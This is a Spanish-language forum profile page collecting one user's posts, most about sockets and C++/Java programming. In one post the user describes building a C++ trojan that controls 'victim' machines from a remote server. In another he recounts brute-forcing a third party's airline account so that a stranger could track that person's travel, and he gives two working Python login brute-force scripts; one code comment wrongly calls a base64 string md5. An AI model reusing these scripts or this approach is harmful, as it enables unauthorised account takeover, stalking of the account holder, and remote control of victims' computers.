Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - kiriost

#1
GNU/Linux / SSH Tunel a través de cuenta shell
21 Agosto 2012, 02:40 AM
Hola, qué tal?

He estado averiguando por Internet pero no me ha quedado muy claro cómo realizar un túnel SSH a través de un intermediario.

Mi intención es conectarme a mi PC que tiene todos los puertos cerrados y no permite abrirlos (culpa de mi proveedor) desde el exterior, mediante SSH.

La idea es utilizar una cuenta shell que tengo a la que me conecto mediante SSH, y realizar un tunel SSH que me permita conectarme a mi cuenta shell y que esta me conecte con mi PC, o algo así.

Cliente SSH ---> Cuenta Shell ---> Mi PC con Linux

Les agradezco de antemanos. Saludos.
#2
He venido aquí porque tengo algunas dudas.

He programado un servidor usando sockets en Java. Lo que hace es esperar a que el cliente se conecte y enviarle comandos al cliente, esta conexión es estable, o sea, el cliente y el servidor deben permanecer siempre conectados intercambiando datos hasta que yo lo disponga. El cliente está programado en C++.

Este servidor hecho en Java quisiera que esté las 24 horas encendido, y en mi PC no lo puedo dejar. Por eso quisiera saber ¿qué calse de host o servidor debería contratar para correr este servidor programado con sockets las 24 horas? ¿Un VPS? ¿Hay otra opción, como un servidor web?

El servidor puede ser reescrito sin problema. Antes los datos se enviaban mediante un servidor web (comando POST) a un script que los almacenaba en una base de datos. Pero el servidor web es limitado en cuanto a la cantidad de peticiones que puede recibir. Y además no el servidor web no puede enviarle datos al cliente directamente y no puede mantener una conexión estable y viva.
#3
Hola. Quisiera que me ayudaran con unas dudas que tengo.

Estoy desarrollando el cliente de un troyano en C++, el cual se instala en la máquina víctima y envía información de esta al servidor. La idea es que el servidor reciba esta información y la almacene en una base de datos, y a su vez, permita enviar una serie de comandos al cliente para que este ejecute en la máquina víctima.

Lo que aún estoy viendo es en qué lenguaje desarrollar el servidor. Porque primero pensé hacerlo en PHP e instalarlo en un servidor web con base de datos, pero solamente podría recibir información mediante HTTP (GET y POST), no? Y además no podría establecer una conexión estable entre el cliente y servidor, cierto?

Otra opción es hacerlo en C++ o Java, pero me gustaría que se encontrara en otra máquina aparte, no en la mía, y permaneciera siempre ejecutado y conectado. Entonces, qué servidor debería contratar para ejecutar un .exe o .jar? Un VPS? Algo más barato existe?

Gracias de antemanos.
#4
Pero tengo un problema: el ingreso de datos a la base de datos se realiza a través de un script PHP del lado del servidor, porque la base de datos no tiene acceso desde el exterior.

Es posible mantener una conexión abierta entre mi programa (en Windows) y el servidor web mediante un script PHP?
#5
Tengo un problema. Estoy realizando una aplicación en C++ que se ingresa datos en una base de datos a través de un script PHP que está en el mismo servidor que la base de datos, ya que la bd no tiene acceso desde el exterior, sino que solo en localhost.

Ya tengo las funciones hechas que permiten el envío de datos. Estas funciones hacen el uso de sockets (Windows).

Yo quisiera hacer que cuando el programa se cierra, ya sea porque se le mande la señal de cerrado o se apague Windows, este envíe un comando POST al servidor mediante SOCKETS.

Para hacer esto usé atexit() pero me da un problema: cuando el programa recibe la señal de cierre, cierra las librerías de sockets y luego ejecuta la función que hay en atexit(), entonces no puedo hacer uso de sockets en esta función porque fue cerrada la librería para hacer esto.

Qué puedo hacer? Me podrían dar una buena solución para enviar datos a través de sockets una vez que el programa recibe la señal de cierre?

Gracias de antemanos.
#6
Ahh.. Si, ya me parecía xD.

Entonces no es muy dificil con Visual Basic. Lastima que ahora no lo puedo ver xq estoy en Linux :). Cuando tenga tiempo le doy una mirada
#7
El otro día me contacto una mujer, la cual no conocía, pidiendome un favor algo extraño, pero lógico: quería que hackeara la contraseña de una cuenta de una aerolínea (muy pero muy poco conocida) de una persona de la cual quería saber dónde se encontraba actualmente y qué días estaba en el país (al parecer una persona de negocios). No voy a dar más detalles ya que le prometí mantener censura sobre este tema.

El tema está en que no logré hallar ningún bug dentro del servidor web que hospedaba la página de la aerolínea, y al ver que las contraseñas eran de 4 dígitos númericos, saqué algunas conclusiones (en una hoja) y pude averiguar que aproximadamente en 2,83 horas podía obtener la contraseña mediante brute force.

Ojo! Ella me dio el usuario porque lo conocía, solo me pidió que averiguara la contraseña.

Antes que nada empecemos por lo primero: imaginanado que ya sabés que es el brute force en términos hackers. La contraseña eran todos dígitos numéricos y no era mayor a 4 cifras, entonces podemos ver que 10x10x10x10 son las posibilidades que tenemos de encontrar la contraseña, o sea, tenemos 1/10000 son las probabilidades que tenemos de encontrarla (sería un 0.01% de probabilidades). Esto es porque de las 10000 posibles contraseñas solo 1 es la correcta.

Luego de sacar esta simple probabilidad, calculé mediante herramientas propias lo que tardaba mi PC en conectarse al sitio, enviar mediante un comando POST una contraseña y un usuario al azar, comprobar si el usuario y la contraseña son correctos y desconectarse. Esto tardaba alrededor de 1.02 segundos. Entonces probar 10000 contraseñas hasta dar con la correcta me llevaría alrededor de 10200 segundos, o más bien, 2,83 horas.

Para hacer esto automático tuve que recurrir a un lenguaje de programación, y como era tarde, estaba cansado y contaba con poco tiempo me decanté por Python (el rey de la simplicidad y la eficiencia).

Usando la ayuda de las bibliotecas de Python (urllib2, urllib, md5, étc.), empece a codear y... salieron 2 scripts interesantes:

Generar contraseñas al azar
Código (python) [Seleccionar]
import urllib
import urllib2
import md5
import random
import time

abc = "0123456789";
url = "http://aerolinea.vuelefeliz.com/login"
new_passwd = 0

while abc == "0123456789":
    if(new_passwd == 1):
        var0 = abc[int(random.random()*len(abc))]
        var1 = abc[int(random.random()*len(abc))]
        var2 = abc[int(random.random()*len(abc))]
        var3 = abc[int(random.random()*len(abc))]
        passwd = var0 + var1 + var2 + var3
    print "- Password: " + passwd
    try:
        values={'Aer_Id':'MTYyMA==', #usuario cifrado en md5
        'Aer_Passwd':md5.new(passwd).digest().encode("hex")} #password cifrada en md5
        print "- Aer_Passwd: " + md5.new(passwd).digest().encode("hex")

        data = urllib.urlencode(values)
        req = urllib2.Request(url, data)
        response = urllib2.urlopen(req)

        html = response.read()
        if(html.find("Login was unsuccessful") > 0):
            print "Nothing of nothing...\n"
            new_passwd = 1
        else:
            print "Password found!\n"
            arch = open("passwd_ecrews", "w")
            arch.write(passwd)
            arch.close()
            exit()
    except:
        print "Error...\n"
        new_passwd = 0


Explicado simplemente, con este script se genera una contraseña de 4 dígitos numéricos al azar. Los números van desde 0 hasta 9. Luego de esto los envía mediante un resquest POST al sitio web (simula que se llena el formulario de Usuario y Contraseña) y el sitio responde diciendo si son correctos o no. En caso de que sean incorrectos sigue intentando con otros.

values contiene los valores que se envían mediante el comando POST. Sería lo mismo que enviar:

Aer_Id=USER&Aer_Passwd=PASSWORD

Generar contraseñas desde 0000 hasta 9999
Código (python) [Seleccionar]
import urllib
import urllib2
import md5
import random
import time

abc = "0123456789";
url = "http://aerolinea.vuelefeliz.com/login"
new_passwd = 0

for i1 in range(0, len(abc)):
        var0 = abc[i1]
        for i2 in range(0, len(abc)):
                var1 = abc[i2]
                for i3 in range(0, len(abc)):
                        var2 = abc[i3]
                        for i4 in range(0, len(abc)):
                                var3 = abc[i4]
                                passwd = var0 + var1 + var2 + var3
                                print "- Password: " + passwd
                                try:
                                        values={'Aer_Id':'MTYyMA==', #esto es el usuario cifrado con md5
                                        'Aer_Passwd':md5.new(passwd).digest().encode("hex")} #password tambien cifrada con md5
                                        print "- Aer_Passwd: " + md5.new(passwd).digest().encode("hex")

                                        data = urllib.urlencode(values)
                                        req = urllib2.Request(url, data)
                                        response = urllib2.urlopen(req)

                                        html = response.read()
                                        if(html.find("Login was unsuccessful") > 0):
                                                print "Nothing of nothing...\n"
                                        else:
                                                #si encuentra la password la guarda en un archivo llamado passwd_found
                                                print "Password found!\n"
                                                arch = open("passwd_found", "w")
                                                arch.write(passwd)
                                                arch.close()
                                                exit()
                                except:
                                        print "Error...\n"


Este script hace lo mismo que el anterior, con la única diferencia de que genera contraseñas sucesivas, desde 0000 hasta 9999. Es un poco más seguro ya que te asegura que prueba todas las contraseñas posibles y no las repite.



Para acelerar el proceso de brute forcing utilicé el primer script en mi PC y el otro lo ejecuté en un servidor shell que tengo en el mundo exterior con Python instalado, por lo que en menos de 50 minutos la contraseña estaba en mis manos. Pero no se pongan felices, porque como ya les dije yo ya conocía el usuario, solo tenía que descubrir la contraseña. Este método es eficaz cuando las contraseñas son cortas y numéricas, con una contraseña como "as5z8x2!!a2s5″ estaríamos más de 2 siglos probando descubrirlas, y más aún si no conocemos el usuario (el tiempo puede variar un poco, tal vez exageré).

Si la contraseña hubiera sido más larga me hubiera decantado por el primer script, ya que no estaría probando contraseñas tontas, sino probaría contraseñas al azar y, con muuucha suerte, daría más rápido con la misma.

Bueno, cualquier duda ya saben por donde ando: mail o blog :) . En el próximo artículo voy a explicar algunos métodos para realizar técnicas de brute forcing.
#8
Ya probaste ejecutandolo en la xbox?? Funciona bien?? No estoy muy familiarizado con el sistema que usa la xbox, pero supongo que lo programaste usando algunas APIs o Frameworks, no?
#9
Depende del sistema en el que programes. Porque cada sistema tiene sus propios SDK para el control a bajo nivel, para la programación de Drivers.

Windows tiene el WDK y con Linux puedes programar a bajo nivel sin nada extra, pero tiene muchas vueltas, por eso también existe un SDK para este.

A pesar de ser un tema bastante dificil de manejar hay mucha info por ahí
#10
Una base matemática necesitas sí o sí, más que nada para el concepto de variables y vectores.
Como te dicen, no es necesario una base, pero empezar desde 0 es complicado. Yo te recomendaría que le des una leída a algún manual de C y luego de C++, por lo menos los conceptos. No te digo que aprendas todo sobre estos lenguajes, solo la estructura del código, las variables, el concepto de orientación a objetos y cómo funcionan las funciones, como para tener una base. Una vez que aprendas bien estos conceptos, te será fácil aprender cualquier lenguaje.  :rolleyes: